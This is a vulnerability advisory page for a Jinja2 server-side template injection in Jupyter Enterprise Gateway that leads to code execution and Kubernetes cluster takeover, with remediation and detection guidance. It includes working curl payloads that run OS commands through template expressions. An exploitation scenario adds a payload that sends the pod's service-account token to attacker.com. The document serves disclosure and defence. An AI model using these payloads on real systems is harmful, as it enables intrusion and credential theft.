CVE-2026-44181: Enterprise Gateway: SSTI allows full K8s cluster compromise
GHSA-f49j-v924-fx9w CRITICALJupyter Enterprise Gateway contains a critical Server Side Template Injection flaw in its Kubernetes kernel launcher: KERNEL_XXX environment variables passed through the kernel launch API are rendered via Jinja2 without sanitization, allowing any attacker who can reach the API to execute arbitrary OS commands inside the Gateway pod with a single curl request — a working proof-of-concept is included in the public advisory. With 1,872 downstream dependents and no CISA KEV listing yet, this sits in the most dangerous window — between disclosure and broad patching — and the blast radius extends far beyond the initial pod: the stolen Kubernetes service account carries read/write/delete permissions over pods, secrets, namespaces, and persistent volumes, making full cluster compromise a realistic next step. Upgrade jupyter_enterprise_gateway to 3.3.0 immediately; if patching is blocked, restrict API access to the Enterprise Gateway service to trusted internal networks only and scan kernel launch logs for Jinja2 template patterns such as '{{' and '{%'.
What is the risk?
Critical. The vulnerability is trivially exploitable — the public advisory includes a working one-line curl proof-of-concept requiring only network access to the Enterprise Gateway service, with no prior authentication needed. Although CVSS vector metrics are not yet formally assigned, the characteristics (network-exploitable, low complexity, no user interaction, changed scope, full C/I/A impact) strongly indicate a score of 9.8–10.0. The Enterprise Gateway service account holds dangerously broad Kubernetes RBAC permissions — create/delete over pods, secrets, namespaces, PVCs, and configmaps — meaning post-exploitation cluster-wide compromise is straightforward. An OpenSSF Scorecard of 5.2/10 and 19 prior CVEs in this package indicate a pattern of insufficient security hardening. Any organization running Jupyter Enterprise Gateway on Kubernetes in ML or data science infrastructure should treat this as a P0 incident.
Attack Kill Chain
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| jupyter_enterprise_gateway | pip | >= 2.0.0rc2, < 3.3.0 | 3.3.0 |
Do you use jupyter_enterprise_gateway? You're affected.
Severity & Risk
What should I do?
5 steps-
PATCH (immediate): Upgrade jupyter_enterprise_gateway to version 3.3.0 or later — this is the only complete fix.
-
NETWORK ISOLATION (if patching is delayed): Restrict access to the Enterprise Gateway API (port 8888) to trusted internal services only via Kubernetes NetworkPolicy or firewall rules. Treat any external exposure as active compromise.
-
RBAC HARDENING (parallel): Audit and reduce Kubernetes service account permissions for Enterprise Gateway to the minimum required. Remove secrets read/write and pod create/delete if not functionally needed; scope permissions to the target namespace rather than cluster-wide.
-
DETECTION
Search API and application logs for Jinja2 template expressions in KERNEL_XXX fields — patterns matching '{{', '}}', '{%', '%}'. Monitor for pod names containing arithmetic results (e.g., 'name-49' from '{{7*7}}') or suspicious OS command output strings.
-
INCIDENT RESPONSE
If compromise is suspected, immediately rotate all Kubernetes secrets, revoke and reissue service account tokens, audit recent pod creation and deletion events, and review persistent volume access logs for unauthorized reads.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-44181?
Jupyter Enterprise Gateway contains a critical Server Side Template Injection flaw in its Kubernetes kernel launcher: KERNEL_XXX environment variables passed through the kernel launch API are rendered via Jinja2 without sanitization, allowing any attacker who can reach the API to execute arbitrary OS commands inside the Gateway pod with a single curl request — a working proof-of-concept is included in the public advisory. With 1,872 downstream dependents and no CISA KEV listing yet, this sits in the most dangerous window — between disclosure and broad patching — and the blast radius extends far beyond the initial pod: the stolen Kubernetes service account carries read/write/delete permissions over pods, secrets, namespaces, and persistent volumes, making full cluster compromise a realistic next step. Upgrade jupyter_enterprise_gateway to 3.3.0 immediately; if patching is blocked, restrict API access to the Enterprise Gateway service to trusted internal networks only and scan kernel launch logs for Jinja2 template patterns such as '{{' and '{%'.
Is CVE-2026-44181 actively exploited?
No confirmed active exploitation of CVE-2026-44181 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-44181?
1. PATCH (immediate): Upgrade jupyter_enterprise_gateway to version 3.3.0 or later — this is the only complete fix. 2. NETWORK ISOLATION (if patching is delayed): Restrict access to the Enterprise Gateway API (port 8888) to trusted internal services only via Kubernetes NetworkPolicy or firewall rules. Treat any external exposure as active compromise. 3. RBAC HARDENING (parallel): Audit and reduce Kubernetes service account permissions for Enterprise Gateway to the minimum required. Remove secrets read/write and pod create/delete if not functionally needed; scope permissions to the target namespace rather than cluster-wide. 4. DETECTION: Search API and application logs for Jinja2 template expressions in KERNEL_XXX fields — patterns matching '{{', '}}', '{%', '%}'. Monitor for pod names containing arithmetic results (e.g., 'name-49' from '{{7*7}}') or suspicious OS command output strings. 5. INCIDENT RESPONSE: If compromise is suspected, immediately rotate all Kubernetes secrets, revoke and reissue service account tokens, audit recent pod creation and deletion events, and review persistent volume access logs for unauthorized reads.
What systems are affected by CVE-2026-44181?
This vulnerability affects the following AI/ML architecture patterns: Jupyter-on-Kubernetes ML platforms, MLOps training pipelines, Kubeflow notebook environments, Multi-tenant AI development platforms, Data science compute clusters.
What is the CVSS score for CVE-2026-44181?
No CVSS score has been assigned yet.
AI Security Impact
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0072 Reverse Shell AML.T0091.000 Application Access Token AML.T0105 Escape to Host AML.T0106 Exploitation for Credential Access Compliance Controls Affected
Technical Details
Original Advisory
### Summary The environment variables (`KERNEL_XXX`) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a `hostPath` volume mount. ### Details The `KERNEL_POD_NAME` variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247 The Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, in addition to `kernel_pod_name` discussed above, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77 These values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137 ### PoC #### Simple demonstration of SSTI using `{{7 * 7}}` ```bash curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}' ``` ```json {"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0} ``` Running `kubectl get pods` ``` NAME READY STATUS RESTARTS AGE bdawg-49 1/1 Running 0 3m54s ``` #### Remote code execution - OS Commands via SSTI ```bash curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}' ``` ```json {"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07 ``` ``` NAME READY STATUS RESTARTS AGE bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s ``` `enterprise-gateway-8695685bc8-klm4m` is the hostname of the Enterprise Gateway pod. #### Enterprise Gateway RBAC The Enterprise Gateway service account has R/W access to several resource kinds. Stolen Enterprise Gateway service account `kubectl auth can-i --list` ``` Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] rolebindings.rbac.authorization.k8s.io [] [] [get list create delete] configmaps [] [] [get watch list create delete] namespaces [] [] [get watch list create delete] persistentvolumeclaims [] [] [get watch list create delete] persistentvolumes [] [] [get watch list create delete] pods [] [] [get watch list create delete] secrets [] [] [get watch list create delete] services [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] [/.well-known/openid-configuration/] [] [get] [/.well-known/openid-configuration] [] [get] [/api/*] [] [get] [/api] [] [get] [/apis/*] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/*] [] [get] [/openapi] [] [get] [/openid/v1/jwks/] [] [get] [/openid/v1/jwks] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get] ``` ### Impact This is a server side template injection that leads to remote code execution (python and OS commands). An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with `hostPath` mounts, which can be used to compromise the complete cluster and all workloads on it.
Exploitation Scenario
An adversary with network access to the Jupyter Enterprise Gateway API — reachable via a compromised internal service, an overly permissive Kubernetes NetworkPolicy, or a malicious insider on a shared data science platform — sends a single crafted POST request to the /api/kernels endpoint. The KERNEL_POD_NAME variable is set to a Jinja2 payload such as `exploit-{{ cycler.__init__.__globals__.os.popen('curl http://attacker.com/exfil?t=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)').read() }}`. Enterprise Gateway renders this template during Kubernetes manifest creation, executing the OS command and exfiltrating the service account token. The attacker configures kubectl with the stolen token, confirms broad RBAC permissions via `kubectl auth can-i --list`, then creates a privileged pod with a hostPath mount to the underlying node filesystem — achieving full node-level access, exfiltrating all cluster secrets including cloud provider keys and model registry credentials, and planting persistence across any workload in the cluster.
Weaknesses (CWE)
References
Timeline
Related Vulnerabilities
CVE-2023-25574 10.0 JupyterHub LTI13: JWT forgery enables full auth bypass
Same package: jupyter CVE-2026-44180 9.8 Jupyter Enterprise Gateway: root privilege bypass in Kubernetes
Same package: jupyter CVE-2026-42266 8.8 JupyterLab: Extension allow-list bypass enables privesc
Same package: jupyter CVE-2025-30370 7.4 jupyterlab-git: command injection via malicious repo name
Same package: jupyter CVE-2025-30167 7.3 jupyter_core: config hijack enables cross-user code exec
Same package: jupyter